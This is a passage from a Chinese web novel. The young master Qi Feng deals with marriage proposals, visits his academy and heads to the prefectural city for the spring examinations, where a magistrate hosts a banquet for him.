吴胖子见状,脸上的笑僵了僵,额角渗出一层细汗,尴尬得恨不得找个地缝钻进去。
就在这沉默的当口,王老汉往前踏了一步,粗糙的脸上露出憨厚的笑:“吴少爷,既然是齐少爷选的人,那咱们信得过!我王老汉第一个表态,愿意跟着您干!这试验田是齐少爷的心血,咱们一定得守好!”
王老汉这一嗓子,像是点燃了火把,农户们顿时炸开了锅,纷纷开口:“对!齐少爷信得过吴少爷,咱们也信!”
“吴少爷,您说咋干,俺们就咋干!”
“有齐少爷的法子,这田保准能成!”
此起彼伏的附和声让吴胖子愣在原地,肥脸上的尴尬渐渐被一股热血取代。
他瞪大眼睛,胸脯拍得啪啪响:“好!好!大伙儿信我,胖爷我绝不让你们失望!这试验田,咱们得种出个名堂来!工钱,粮食,胖爷我给你们最好的福利!谁干得好,年底还有赏钱!”
农户们一听这话,顿时欢呼起来,田埂上热闹得像过节一样。
齐枫站在一旁,双手环胸,笑眯眯地看着吴胖子那副得意洋洋的模样,忍不住走上前,拍了拍他的肩膀:“胖子,干得不错。看样子,这田交给你,本少爷是放心的。”
吴胖子一听,顿时激动得眼眶都红了,猛地转过身,朝齐枫一抱拳,扯着嗓子喊:“齐哥!义父!从今往后,你就是我吴胖子的马首是瞻!这田,我给你守得稳稳当当!”
齐枫笑骂道:“滚蛋!胖子,你要是把事情搞砸了,别怪本少爷对你不客气!”
说罢,他摆摆手,带着楚清秋和小荷上了马车,扬长而去,留下吴胖子在田埂上嘿嘿傻笑,农户们则围着他七嘴八舌地问东问西。
夜幕降临,齐府的后院里,月光如水,洒在桂花树上,映得院子一片清辉。
楚清秋独自站在树下,面纱下的目光凝视着天边的月亮,眉宇间带着几分若有若无的忧色。
她的身影在月光下显得清冷孤寂,仿佛与这喧嚣的齐府格格不入。
齐枫从正厅出来,手里提着一壶清酒,晃晃悠悠地走进后院。
见楚清秋这副模样,他挑了挑眉,径直走到石桌旁坐下,随手将酒壶搁在桌上,懒洋洋道:“青禾,瞧你这模样,魂儿都被月亮勾走了?怎么,自打那天晚上粮仓的事后,你就有点闷闷不乐,是不是遇到啥事了?”
楚清秋闻言,目光从月亮上收回,微微摇头,声音清冷:“少爷多虑了,青禾只是,只是有些倦了,没什么大事。”
齐枫端起酒壶,抿了一口,斜眼打量着她:“倦了?啧,青禾,你这借口可不怎么高明。那晚你听见那怪鸟叫,脸色就不对劲了。说吧,到底啥事?本少爷好歹是你救命恩人,有啥不能说的?”
楚清秋垂下眼帘,手指无意识地摩挲着腰间的软剑,沉默片刻后,低声道:“少爷,青禾确实无事,只是……那晚的怪鸟叫,让我想起了一些往事罢了。没什么值得一提的。”
齐枫挑眉,懒散地靠在石凳上:“往事?啧,青禾,你不想说,本少爷不逼你,不过你这毒,我瞧着也治得差不多了。最多再有一两个月,几
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副药下去,你那张脸就能恢复如初。到时候,本少爷可得好好瞧瞧,你这半张脸都美得冒泡,真容得是啥样?”
楚清秋闻言,唇角微微上扬,露出一抹浅笑,语气中带了几分难得的柔和:“少爷就这么好奇青禾的模样?到时候若是失望了,可别怪青禾。”
“失望?”齐枫哈哈一笑,摆手道,“本少爷眼光毒着呢,绝对不会看走眼!行了,时候不早了,早点歇着吧。明天我还得去田里转一圈,春闱的事也得准备准备。”
楚清秋点点头,轻声道:“少爷也早些休息。”
说罢,她转身回了自己厢房。
齐枫望着她的背影,眯了眯眼,摇了摇头。
翌日清晨,天刚蒙蒙亮,齐府的厢房里,齐枫还在睡梦中,嘴里嘟囔着什么,睡得正香。
突然,一阵急促的敲门声打破了宁静,小荷风风火火地冲了进来,扯着嗓子喊:“少爷!少爷!快起来!大事不好了!”
齐枫被吵得一个激灵,迷迷糊糊地睁开眼,抓了抓头发,没好气道:“小荷,大清早的嚷嚷啥?天塌了还是地陷了?”
小荷急得直跺脚,双手叉腰道:“少爷!您快起来洗漱!正厅里都乱套了!好多夫人带着她们的闺女上门来了,说是,说是来提亲的!锦娘让您赶紧过去瞧瞧!”
“提亲?”齐枫一愣,困意顿时消了大半,翻身坐起,“啥玩意儿?谁提亲?本少爷才多大,急着嫁人了?”
小荷急得团团转:“不是嫁人,是娶!各大家族的夫人,带着小姐们,都在正厅等着您呢!您快去啊,锦娘说您老大不小了,得挑个合适的!”
齐枫揉了揉太阳穴,哭笑不得:“这都啥跟啥,行行行,我去瞧瞧。”
他翻身下床,被小荷拉着去洗漱打扮一番,换上一身崭新的青色长袍,头发束得整整齐齐,活脱脱一个翩翩佳公子。
来到正厅,齐枫刚踏进去,就被眼前的景象震住了。
第五十七章 婚姻大事
宽敞的正厅里,坐满了各色人等,七八位夫人打扮得花枝招展,身边各自带着一位或两位小姐,莺莺燕燕,环肥燕瘦,个个含情脉脉地盯着齐枫瞧。
那些小姐们,有的娇羞低头,有的胆大直视,还有的掩嘴轻笑,眼神里满是期盼。
齐枫头皮一麻,差点转身就跑。
锦娘坐在主位上,见他进来,笑眯眯地招手:“枫儿,来,坐这儿。这些都是青田县有头有脸人家的夫人,听说你最近在县里名声大噪,特意带着她们的闺女来瞧瞧你。”
齐枫干笑两声,硬着头皮坐下,目光一扫,发现这些小姐各有千秋。
有赵氏的二小姐,眉眼如画,端庄大方,有李氏的三小姐,娇小玲珑,笑起来梨涡浅现,还有王氏的大小姐,气质清冷,颇有几分楚清秋的影子。
总之,个个都是美人胚子,偏偏都盯着他看,眼神热得能把人烤化了。
“咳,锦姨,这……”齐枫正想找个借口开溜,锦娘却笑眯眯地打断他。
“枫儿,你也老大不小了,春闱在即,考个秀才回来,婚事也该提上日程了。这些小姐都是青田县的佼佼者,你瞧瞧,有没有中意的?”
齐枫嘴角抽了抽,刚想开口,旁边的赵氏夫人已经笑着道:“齐少爷,您如今可是青田县的风云人物!我们家婉儿早就仰慕您了,您瞧她如何?”
说着,她推了推身边的赵二小姐,那小姐脸一红,低头不语。
李氏夫人不甘示弱,笑呵呵道:“齐少爷,我们家兰儿性子温柔,最是贤惠,配您正合适!”
王氏夫人也跟着附和:“我们家雪儿虽清冷了些,但才华出众,定能与齐少爷琴瑟和鸣!”
一时间,正厅里你一言我一语,热闹得像菜市场。
齐枫被吵得头晕脑胀,恨不得找个地缝钻进去。
楚清秋和小荷站在厅外,挤不进去,只能远远看着。
小荷急得直跺脚,楚清秋却只是静静地看着,目光中带着几分复杂。
齐枫眼珠一转,悄悄朝小荷那边看去,趁着众人不注意,用口型无声地说了两个字:“救我!”
小荷急得团团转,却被挤在人群外,压根插不上话,只能干瞪眼。
“诸位夫人,诸位小姐……”齐枫终于忍不住,清了清嗓子,站起身,拱手道,“承蒙大家看得起我齐枫,实在是感激不尽。不过,春闱在即,我如今一门心思都在科举上,实在没功夫考虑这些儿女情长的事,诸位的好意,齐枫心领了!”
这话一出,正厅里安静了一瞬。
赵氏夫人率先笑了起来,摆手道:“齐少爷,您这话说得太早了!科举虽重要,可成家立业也不耽误啊!我们家婉儿贤惠温柔,定能帮您料理家务,让您专心读书!”
李氏夫人不甘示弱,笑眯眯道:“就是!齐少爷,您如今在青田县名声大噪,多少人家盯着您这乘龙快婿呢!我们家兰儿虽娇小,可性子最是体贴,配您正合适!”
王氏夫人也跟着附和:“齐少爷,我家雪儿才貌双全,若能与您结亲,定是佳话!您若忙于科举,婚事可以缓缓,先定下来也不迟嘛!”
几位夫人你一言我一语,话题越说越热烈,起初还只是夸自家小姐如何贤良淑德,慢慢地,讨论的方向却跑偏了。
赵氏夫人拍了拍手,笑呵呵道:“要我说,齐少爷这样的人才,谁做大房都无所谓,关键是人品好,家世配得上!”
李氏夫人一听,眼睛一亮,接口道:“对对!大房小房不重要,齐少爷日后定是大富大贵,娶上两三个也不为过!我们家兰儿不在乎名分,只求能伴在齐少爷身旁!”
这话一出,几位小姐的脸齐刷刷红了,有的低头掩嘴偷笑,有的羞涩地瞥了齐枫一眼。
齐枫越听越头大,感觉脑仁都快炸了,心道这都什么跟什么?
本少爷还没考上秀才呢,你们就连大房小房都分上了?
他偷偷瞄了锦娘一眼,使劲挤眉弄眼,试图求救。
锦娘坐在主位上,端着茶盏,笑眯眯地瞧着这场热闹,像是没看见齐枫的求救信号。
齐枫急得心头直冒火,恨不得冲过去摇醒这位,心道:锦姨啊,您倒是说句话啊,这群夫人再聊下去,我怕是要被分尸了!
好在锦娘终于放下茶盏,轻咳一声,开口道:“诸位夫人,枫儿年纪还轻,科举大事当前,婚事倒是不急。今日大家能来
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,是给咱们齐氏面子,枫儿也长了见识。感情的事,慢慢培养才好,诸位说是不是?”
锦娘这话说得圆滑,既给了各家夫人面子,又给齐枫留了余地。
几位夫人对视一眼,纷纷笑着点头:“锦娘说得在理!齐少爷前途无量,婚事不急,咱们改日再来拜访!”
“就是,齐少爷若中了秀才,定有更好的姑娘等着呢!”
一番寒暄后,夫人们带着自家小姐陆陆续续告辞,莺莺燕燕的身影渐渐散去。
正厅里终于安静下来,齐枫长长松了一口气,感觉像是从鬼门关走了一遭。
他刚想转身开溜,却听锦娘轻声唤道:“枫儿,留步。”
齐枫脚步一顿,苦着脸转过身,挤出个笑:“锦姨,有啥事啊?我还得去书房温书呢,春闱可不等人!”
锦娘笑眯眯地起身,走了过来,拉着齐枫的手,慢悠悠地往后院走去:“温书不急,你陪锦姨走走。今日这阵仗,你也瞧见了,锦姨有几句话想跟你说。”
齐枫见锦娘神色温和,心里却莫名一紧,忙点头道:“锦姨,您说,我听着呢。”
后院的桂花树下,晨光洒在青石小路上,映得院子一片清亮。
锦娘拉着齐枫的手,缓缓踱步:“枫儿,你虽不是锦姨的亲生儿子,可锦姨这一生也没自己的孩子。从你小时候,我就看着你长大,摔了跟头锦姨扶你,闯了祸锦姨替你兜着。在锦姨心里,你跟亲儿子没两样。”
齐枫闻言,心头一震,脚步不自觉慢了下来。
他前世身为医武通神的高手,纵横江湖,过的全是尔虞我诈,刀光剑影的日子,亲情于他不过是个遥远的词。
可来到这个世界,让他真真切切地感受到了家的温暖。
此刻听锦娘这番话,他鼻头一酸,喉咙像是被什么堵住了,半晌才低声道:“锦姨,我知道您对我好。”
锦娘拍了拍他的手,笑着道:“傻孩子,锦姨知道你有大志向,春闱,状元,都是你的目标。可婚姻大事,锦姨这做母亲的,总得替你操心几分。今日来的那些小姐,家世,品貌都不差,你可有中意的?”
齐枫一听这话,吓得差点跳起来。
第五十八章 书院再访
齐枫忙摆手道:“锦姨!您可别再提这茬了!那些小姐是不错,可我现在一门心思在科举上,哪有功夫想这些?再说,我的目标可不只是秀才,我要考状元!到时候,京城的大家闺秀随便挑,青田县这些……咳,怕是还配不上我!”
锦娘被他这番大言不惭逗乐了,笑着点了点他的额头:“你这孩子,口气倒不小!行,锦姨信你有这志气。既然你有打算,锦姨就不多说了。锦姨等着你中了状元,带个京城的媳妇回来,让锦姨瞧瞧!”
齐枫嘿嘿一笑,挠了挠头:“锦姨,您就等着瞧吧!您这未来儿媳,保准让您满意!”
锦娘这才心满意足的回房了。
齐枫一屁股坐在后院的石凳上,长长呼出一口气,脑子里还回荡着正厅里那群夫人和小姐们的莺声燕语。
提亲的阵仗总算散了,可他这心却还没完全落下来,总觉得这日子过得比打仗还累。
他揉了揉太阳穴,喃喃道:“这青田县的日子,咋就这么热闹呢?”
没等他喘口气,院子外传来一阵轻快的脚步声,小荷蹦蹦跳跳地跑了进来,身后跟着楚清秋。
小荷一脸坏笑,凑到齐枫跟前,挤眉弄眼道:“少爷!您可真行啊!今儿正厅里那阵仗,青田县的小姐们都快把您给吃了!说说,您看中哪家了?赵氏的婉儿小姐,还是李氏的兰儿小姐?要不就是王氏那位清冷的大小姐?”
齐枫闻言,头皮一麻,瞪了她一眼,没好气道:“小荷,你这丫头是皮痒了是不是?本少爷一门心思在春闱上,哪有功夫想这些乱七八糟的事?再拿我打趣,信不信我罚你抄家规一百遍?”
小荷吐了吐舌头,捂嘴偷笑,压根不怕他的威胁。
楚清秋站在一旁,面纱下的目光扫过齐枫:“少爷,今日来的小姐们个个才貌双全,您若说没看中,怕是没人信。依青禾看,您怕是都想要吧?”
“噗!”齐枫差点被自己的口水呛到,摇头苦笑道:“青禾,你啥时候也学会拿本少爷开涮了?得得得,你们俩一唱一和,我算是服了!本少爷不跟你们掰扯了,我得去书山书院一趟,再拜访一下周山长,春闱的事得准备准备。”
小荷一听,眼睛一亮,追问道:“少爷,您真要去春闱了?那可是大事!您要是中了秀才,老爷和锦姨得高兴坏了!”
齐枫摆摆手,懒洋洋道:“中不中再说吧,去了总得试试。行了,你们俩老实在府里待着,别又给我惹啥乱子。”
说罢,他起身拍了拍衣摆,径直朝府外走去。
不多时,齐枫一身青衫,步履轻快地走进书院大门,刚踏进院子,就被一群学子围住了。
书院的学子们早听说齐枫在青田县的“丰功伟绩”,从拍卖行智斗张韬,诗会的水调歌头,到火烧粮仓案力挫张氏,个个都把他当成了传奇人物。
“齐兄!听说你把张氏那帮人收拾得服服帖帖,真是大快人心!”一个身材瘦高的学子满脸崇拜,围着齐枫嚷嚷。
“齐少爷,您那试验田的粮种改良,听说亩产高出三成!能不能教教我们?”另一个学子挤上前来。
更让齐枫头皮发麻的是,几名女学子不知从哪冒了出来,围着他叽叽喳喳,胆大的甚至上手拉他的衣袖:“齐少爷,您要去春闱了?定能高中!到时候可别忘了我们书院的姐妹们!”
“齐少爷,您这身青衫真好看,哪家裁缝做的?”
齐枫被围得晕头转向,脸上挂着尴尬的笑,嘴里连连道:“诸位,诸位,冷静点!本少爷就是来拜访周山长的,没啥大事!”
他好不容易才从人群中挤出来,衣摆都被扯得有些凌乱,暗自腹诽:这书院的学子,咋比正厅那群小姐还热情?
好不容易到了周文翰的书斋,齐枫推门而入,拱手道:“周山长,学生齐枫,特来拜访。”
周文翰年近五旬,须发花白,气度儒雅,正伏案批阅书卷。
见齐枫进来,他放下笔,笑呵呵道:“齐枫,你这小子可是稀客。听说连张氏都被你掀了个底朝天,了不得啊!”
齐枫挠了挠头,嘿嘿一笑:“山
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长过奖了,学生不过是运气好,得了赵大人和卢大人的帮衬。张氏那事,他们自找的,学生只是顺手推了一把。”
周文翰眯着眼打量他,捋着胡子道:“少来这套虚的。你那试验田的粮种改良,我可听说了,亩产高出三成,这可是利国利民的大事。说吧,今日来有何贵干?”
齐枫正色道:“山长,学生此来是为春闱。过几日便要去府城应试,想向您请教一二。”
周文翰点点头,起身从书架上取下一卷书册,递给齐枫:“春闱不比县试,考的是真才实学。你这小子虽然平日吊儿郎当,但脑子灵光,这卷策论集你拿去看看,里面有不少前朝名家的文章,对你应对策论有助益。”
齐枫接过书册,拱手道谢:“多谢山长!学生一定好好研读。”
两人又聊了一会儿,周文翰叮嘱了些应试的要点,诸如答卷时字迹要工整,策论需切中时弊等等。
齐枫一一记下,聊到最后,周文翰突然话锋一转,笑眯眯道:“齐枫,听说今日你府上来了不少提亲的夫人?你这小子,艳福不浅啊!”
齐枫一听,顿时苦了脸:“山长,您就别打趣我了!那些夫人小姐,差点没把我吓跑!学生现在一门心思在春闱上,哪有功夫想这些?”
周文翰哈哈大笑,摆手道:“好好好,年轻人有志气是好事。去吧,春闱好好考,莫要辜负了你这一身才华!”
齐枫拱手告辞,出了书斋,长长松了一口气。
书院的学子们还在院子里等着,想再围上来聊几句,齐枫赶紧脚底抹油,溜得飞快,嘴里嚷嚷着:“诸位,我还有事,改日再聊!”
一溜烟跑出了书院,留下身后一片笑声。
日头西斜,齐枫回到齐府,额上还带着点汗,衣摆也有些凌乱。
他刚踏进府门,就见正厅门口走出一人,笑眯眯地朝他拱手:“齐少爷,回来了?”
齐枫定睛一看,来人正是赵氏家主赵集,齐枫一愣,忙回礼道:“赵家主?您这是……来我府上有何贵干?”
第五十九章 春闱将至
赵集哈哈一笑,摆手道:“无事无事,就是来跟你爹聊聊生意上的事,顺便瞧瞧咱们青田县的青年才俊!齐少爷,春闱在即,老夫在这儿先祝你旗开得胜!”
说罢,他又拱了拱手,带着随从扬长而去。
齐枫目送赵集的身影消失在府门外的街巷,眉头微微一皱,心头泛起几分疑惑。
赵集这人,平日里精明得像只老狐狸,今日却笑得如此和气,跑来齐府拜访,怕是没那么简单。
他整了整衣摆,抬步走进正厅,准备找父亲问个明白。
正厅里,齐震天正坐在太师椅上,端着一盏茶,哼着小曲,脸上挂着几分难得的笑意。
见齐枫进来,他放下茶盏,抬头道:“枫儿,回来了?书院那边的事办得如何?”
齐枫拱了拱手,随意在旁边的椅子上坐下,懒洋洋道:“爹,书院的事都妥了,周山长给了我一卷策论集,让我回去好好研读。倒是您这儿,赵家主来干啥?那老狐狸笑得跟朵花似的,指定没啥好事。”
齐震天闻言,哈哈一笑,捋着胡子道:“你这小子,鼻子倒是灵!赵集这趟来,是来示好的。你最近在青田县折腾得风生水起,火烧粮仓案把张氏掀了个底朝天,连赵明德赵大人和按察使卢大人都对你刮目相看!赵集这老家伙,平日里眼高于顶,如今见你前途无量,哪能不来巴结一番?”
齐枫挑了挑眉,似笑非笑道:“示好?怕是想探探咱们齐氏的底吧?张氏倒了,这时候跑来示好,八成是想拉拢咱们,免得咱们抢了他的粮市生意。”
齐震天点了点头,眼中闪过一丝赞赏:“枫儿,你这脑子总算开窍了。赵集的确提了些生意上的合作,话里话外都在试探咱们试验田的粮种改良。哼,他想得美!那粮种是你弄出来的,青田县的粮市,咱们齐氏说了算!不过,这事你不用操心,爹自有分寸。”
齐枫点了点头,端起桌上的茶盏抿了一口,漫不经心道:“知道了,爹。春闱在即,我这两天得收拾收拾,准备去府城了。”
齐震天一听,脸色一肃,放下茶盏,正色道:“春闱可是大事,枫儿,你虽天资聪颖,可府城的学子个个不简单。赵大人虽对你青眼有加,但春闱的主考官可不是他,你得拿出真本事来!考中了秀才,咱们齐氏在青田县的地位就更稳了,爹也能在你锦姨面前挺直腰杆!”
齐枫被父亲这半带调侃的语气逗乐了,笑着道:“爹,您就放心吧!您儿子我好歹也是书山书院的学子,考个秀才还不是手到擒来?再说了,您跟锦姨的恩爱,谁不知道?还用我给您长脸?”
齐震天瞪了他一眼,佯怒道:“臭小子,敢拿你爹打趣!行了,春闱不比县试,府城的考场规矩多,你到了那儿可得收敛点,别又惹出啥乱子。爹等着你中秀才的消息!”
齐枫嘿嘿一笑,起身拱手:“得嘞,爹,我记下了。我回房收拾收拾,过两天就动身。”
说罢,他摆摆手,晃悠着回了自己厢房。
两天后,清晨的薄雾还未散尽,齐府门口已是人声鼎沸。
齐枫一身青色长袍,背着个简单的包袱,站在府门前的石阶上,和楚清秋,小荷准备启程前往府城。齐震天和锦娘站在他身前,身后是几名家丁,院子里还站着几个佃户和管事,个个都来送行。
锦娘眼眶微红,手里攥着帕子,轻轻擦了擦眼角:“枫儿,去了府城,你一个人凡事要小心。吃穿住行,锦姨都让小荷给你收拾好了,路上别亏了自己。考场里也别太拼,身体要紧。”
齐枫看着锦娘这副模样,心头一暖,笑着上前握住她的手:“锦姨,您就别担心了!您儿子我命硬得很,区区春闱,难不倒我!等我中了秀才,回来给您带府城的胭脂水粉!”
锦娘被他逗得破涕为笑,点了点他的额头:“你这孩子,嘴甜!行,锦姨等着你中秀才的消息!”
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>齐震天站在一旁,板着脸道:“枫儿,别光顾着哄你锦姨!春闱是正经事,考不好,回来瞧我怎么收拾你!”
齐枫哈哈一笑,拱手道:“爹,您就等着好消息吧!儿子我去了!”
他正要转身,忽听身后传来一个粗犷的嗓音:“齐哥!等等胖爷我!”
众人循声望去,只见吴胖子气喘吁吁地从街角跑来,肥硕的身躯一颤一颤,脸上却满是笑意。
他跑到齐枫跟前,拍着胸脯道:“齐哥,你去府城这么大的事,胖爷我咋能不来送送?那试验田我已经上手了,王老汉他们干得热火朝天,你就放心去考你的秀才吧!”
齐枫拍了拍吴胖子的肩膀,笑骂道:“胖子,你这身板跑这么快,也不怕闪了腰?田里的事我信你,干好了,回来我请你吃酒!”
吴胖子嘿嘿一笑,挤眉弄眼道:“齐哥,府城的小姐比青田县还水灵,你可得悠着点,别被勾了魂,忘了正事!”
齐枫没好气地瞪了他一眼:“滚蛋!就你话多!”
说罢,他朝众人拱了拱手,转身和楚清秋,小荷跳上马车。
春闱的考场设在府城,由知府赵明德的上级衙门管辖,考官多为府城学政和朝廷派来的主考官。
齐枫坐在马车里,手里翻着周文翰给的策论集,脑子里却不时闪过锦娘的泪眼和吴胖子的憨笑。
他前世孤身一人,刀光剑影中求存,今生却有了家人的牵挂,这种感觉让他心头微暖,又多了几分责任。
马车行了一日,沿途风尘仆仆,齐枫却兴致不减,偶尔掀开车帘,欣赏着沿路的田野风光。
到了黄昏,齐枫正倚在车厢里打盹,忽听车夫一声吆喝:“少爷,府城到了!”
齐枫一个激灵,掀开帘子,探头望去。
远处,府城的城门巍然耸立,城门外人来人往,商贩的叫卖声,车马的喧嚣声交织一片,热闹非凡。
府城,我齐枫又来了!
第六十章 盛宴
暮色霭霭,齐枫刚带着楚清秋和小荷乘坐马车驶入府城城门,还未停稳,便见一队人马迎面而来。
为首的正是知府赵明德,今日他未着官袍,而是换了一身素色长衫,头戴方巾,颇有几分儒士风范。
他骑在马上,远远瞧见齐枫的马车,脸上露出温和的笑意,翻身下马,快步迎了上来。
“齐公子!”赵明德拱手,“本官算着时辰,知道你今日要进城,特意在此等候,果然没让我失望!”
齐枫挑了挑眉,跳下马车,笑着回礼:“赵大人,您这可是折煞学生了。堂堂知府大人,怎的亲自出城迎接,还换了这身常服?莫不是府城又出了什么大事,非要劳动大人您亲自跑一趟?”
赵明德哈哈一笑,捋了捋胡须:“齐公子何必如此客气?本官此来,一是听闻你来府城参加春闱,特来为你接风洗尘。”
他顿了顿,带着几分神秘兮兮道,“醉月楼已设下宴席,就等着齐公子大驾光临,为你壮行!”
“醉月楼?”齐枫闻言,嘴角微微上扬,“大人好雅兴,醉月楼可是府城一绝,那南宫玥姑娘的琴声,怕是能让考场上的策论都多几分灵气。赵大人这宴席,学生可得好好领情了!”
赵明德摆摆手,笑道:“齐公子过奖了!醉月楼虽是风月之地,但南宫玥的才艺,府城无人不佩服。今日宴席,本官特意请了几位故交,周子陵和陈玉堂也在其中,齐公子可得赏脸才是!”
齐枫拱手,笑得意味深长:“既是赵大人盛情,学生怎敢推辞?那就叨扰了!”
正说着,街头突然传来一阵清脆的脚步声,伴随着一个娇俏的声音:“齐枫!你果然在这儿!”
齐枫循声望去,只见一个鹅黄色身影风风火火地跑来,正是赵明德的侄女赵明兰。
那日在书山书院,她被齐枫的七步成诗震得心服口服,此刻杏眼圆睁,脸上带着几分不服输的倔强,却又难掩一丝娇羞。
她气喘吁吁地停在齐枫面前,双手叉腰,瞪着他道:“哼,齐大才子,进城也不提前知会一声,害得本小姐跑来跑去找你!”
齐枫愣了一下,随即笑出声,拱手道:“赵小姐,你这阵仗,怕是要吓着府城的百姓了。学生刚进城,正要拜访赵大人,怎知你消息如此灵通?”
赵明兰哼了一声,扬起下巴:“那是!本小姐耳目众多,你齐大才子一进城,我还能不知道?大伯说今日在醉月楼设宴,我特意来瞧瞧,你这家伙是不是又要作首诗惊艳四座!”
赵明德在一旁看着自家侄女这副模样,摇头失笑:“兰儿,莫要胡闹。齐公子是来参加春闱的贵客,你这丫头别吓跑了人家。”
赵明兰吐了吐舌头,瞥了齐枫一眼,嘀咕道:“谁要吓他了?我就是想看看,他是不是还能再有什么不为人知的本事!”
说罢,她眼珠一转,突然凑近齐枫,压低声音道,“齐枫,上回你那首远看山有色,我回去想了三天三夜,硬是没挑出毛病,这回你可得再作一首,不然我还是不服!”
齐枫被她这副挑衅的模样逗乐了,笑着摆手:“赵小姐,你这是要让我当街献丑啊?作诗也得看心情,今日刚进城,风尘仆仆,怕是诗兴未起。改日若有雅兴,定给你再来一首,如何?”
赵明兰杏眼一瞪,刚想反驳,却被赵明德轻轻拍了拍肩膀:“好了,兰儿,别为难齐公子。时候不早,咱们这就去醉月楼,宴席可不等人。”
齐枫笑着点头,余光却瞥到楚清秋站在马车旁,面纱下的目光微微闪烁,似有几分不悦。
小荷站在她身旁,偷偷扯了扯她的袖子,低声嘀咕:“青禾姐姐,你看那赵小姐,对少爷可真热情!这模样,怕是又被少爷诗才迷倒了!”
楚清秋闻言,手指无意识地摩挲着腰间的软剑,声音清冷:“赵小姐家世显赫,性子直爽,倒是
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与少爷般配。”
话虽如此,她语气中却带了几分不易察觉的酸意,仿佛连她自己都没意识到。
齐枫耳尖,听到小荷的嘀咕,回头看了楚清秋一眼,嘴角微微上扬,故意提高声音道:“青禾,小荷,别磨蹭了,上车!赵大人盛情,咱们可不能让宴席冷了场!”
楚清秋微微一怔,点点头,带着小荷上了马车。
她的动作一如既往地轻盈优雅,但面纱下的目光却始终落在齐枫和赵明兰身上,若有所思。
赵明兰却浑然不觉,兴冲冲地拉着赵明德的胳膊,催促道:“大伯,快走快走!醉月楼的宴席,我可是好久没去了!齐枫,你可别想偷懒,今天不作诗也得陪我喝两杯!”
齐枫哭笑不得,拱手道:“赵小姐放心,学生酒量尚可,定不让你失望。”
一行人说笑着,上了马车,朝醉月楼方向驶去。
府城的街道热闹非凡,路边的小贩吆喝不断,行人川流不息。马车行至醉月楼前,楼前的红灯笼在晨光中微微摇曳,门楣上“醉月楼”三个金字熠熠生辉。
齐枫跳下马车,抬头打量着这座府城有名的风月之地,心中却不由想起那日与南宫玥的初见。
她的琴声如流水,容貌如仙子,至今仍在他脑海中挥之不去。
他摇了摇头,暗自笑道:本少爷这是怎么了?什么女人没见过,怎的还惦记这些风花雪月?
赵明德领着众人步入醉月楼,楼内的掌柜早已候在门口,见到知府大人,忙不迭地迎上来,点头哈腰道:“赵大人,齐公子,宴席已备好,就在二楼雅间,周公子和陈公子也已到齐,就等您几位了!”
齐枫微微颔首,随赵明德拾阶而上。
赵明兰跟在身旁,叽叽喳喳地说个不停:“齐枫,听说醉月楼最近新排了一出戏,待会儿吃完酒,咱们去瞧瞧?南宫玥的琴艺可是府城一绝,你上次不是还跟她对过诗吗?”
第六十一章 两个女人
齐枫笑着点头:“赵小姐有兴致,学生自当奉陪。不过戏好不好,得看南宫姑娘的琴声能不能压得住场。”
赵明兰哼了一声,瞪他一眼:“你就知道南宫玥!哼,本小姐的琴艺也不差,改天让你见识见识!”
齐枫哈哈一笑,刚想回话,却见楚清秋的脚步微微一顿,面纱下的目光扫了他一眼,带着几分莫名的冷意。
他心头一跳,暗道:这丫头,怕是又吃醋了?本少爷可什么都没干啊!
二楼雅间内,布置得富丽堂皇,紫檀木的圆桌上摆满了珍馐佳肴,酒香扑鼻。
圆桌旁,周子陵和陈玉堂早已入座,见齐枫进来,纷纷起身拱手。
“齐兄!好久不见!”周子陵一身锦袍,笑容满面,“听说你把张氏那帮人收拾得服服帖帖,青田县如今谁不夸你一句齐大才子?”
陈玉堂也笑着起身,拱手道:“齐公子,春闱在即,你这趟来府城,怕是要一鸣惊人!今日赵大人设宴,咱们可得好好为你接风洗尘!”
齐枫摆摆手,笑着入座:“两位过奖了,学生不过是运气好,得了赵大人和卢大人的帮衬。春闱的事,尽力而为罢了。”
赵明德哈哈一笑,招呼众人落座:“诸位不必客气,今日宴席是为齐公子春闱接风洗尘,大家放开了吃喝!来,掌柜,上酒!”
掌柜应声,很快便有小厮端着酒壶鱼贯而入,斟满每人的酒杯。
酒香四溢,众人推杯换盏,气氛渐渐热烈起来。
赵明兰坐在齐枫身旁,端起酒杯,笑盈盈道:“齐枫,这杯酒我敬你!上次在书院,你那首诗让我无法可说,算是赔罪!”
齐枫挑眉,端起酒杯与她轻碰:“赵小姐好酒量,学生自当奉陪。不过这赔罪之说从何而来?莫不是你还惦记着书院那场比试?”
赵明兰哼了一声,仰头饮尽杯中酒,脸颊微微泛红:“谁惦记了?我就是看你顺眼,敬你一杯不行吗?”
众人哄笑起来,周子陵挤眉弄眼道:“齐兄,兰儿小姐这杯酒敬得有深意啊!你可得小心,别被美人灌醉了!”
陈玉堂也跟着起哄:“就是!齐公子诗才无双,酒量怕是也不差吧?来来来,咱们轮着敬他一杯!”
齐枫哭笑不得,举杯应对,目光却不经意瞥向楚清秋。
她站在雅间角落,面纱遮住了表情,但那双清冷的眸子却始终盯着他与赵明兰。
小荷站在她身旁,悄悄扯了扯她的袖子,低声道:“青禾姐姐,赵小姐对少爷也太热情了,是不是不安好心!”
楚清秋闻言,手指微微收紧:“嗯。”
齐枫隐约听到小荷的嘀咕,忍不住暗自好笑。
他故意端起酒杯,朝赵明兰笑道:“赵小姐,承蒙你看得起,学生这杯酒敬你,祝你琴艺更上一层楼,早日压过南宫玥!”
赵明兰一听,杏眼一瞪,佯怒道:“好你个齐枫,拐着弯儿说我不如南宫玥?这杯酒我喝了,回头定要让你见识见识本小姐的厉害!”
她仰头饮尽,脸颊红得像熟透的苹果,惹得众人又是一阵哄笑。
齐枫笑着摇头,余光却瞥到楚清秋的手指无意识地绞紧了衣角,目光更冷了几分。
宴席正热闹,雅间的气氛推向高潮。
赵明德端起酒杯,朗声道:“齐公子,春闱乃国之大典,你定要一展才华,为青田县争光!本官先敬你一杯,祝你旗开得胜,金榜题名!”
齐枫连忙起身,恭敬回礼:“多谢赵大人厚爱,学生定当尽力,不负大人期望!”
周子陵和陈玉堂也纷纷举杯,齐声道:“齐兄,祝你高中!”
酒过三巡,雅间内的气氛越发热烈。
赵明兰喝得脸颊通红,话也多了起来,不时拉着齐枫说些书院的趣事,惹得众人笑声不断。
齐枫应对自如,谈笑风生,目光却不时扫向楚清秋,捕捉她面纱下的神情。
就在此时,雅间内的灯光突然暗了下来,原本明亮的烛火摇曳几下,像是被一阵风吹过,骤然熄灭了大半。
众人一愣,喧闹声戛然而止,雅间内陷入一片昏暗。
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紧接着,一阵清幽的琴音从楼上传来,宛如流水潺潺,带着几分空灵魅惑。
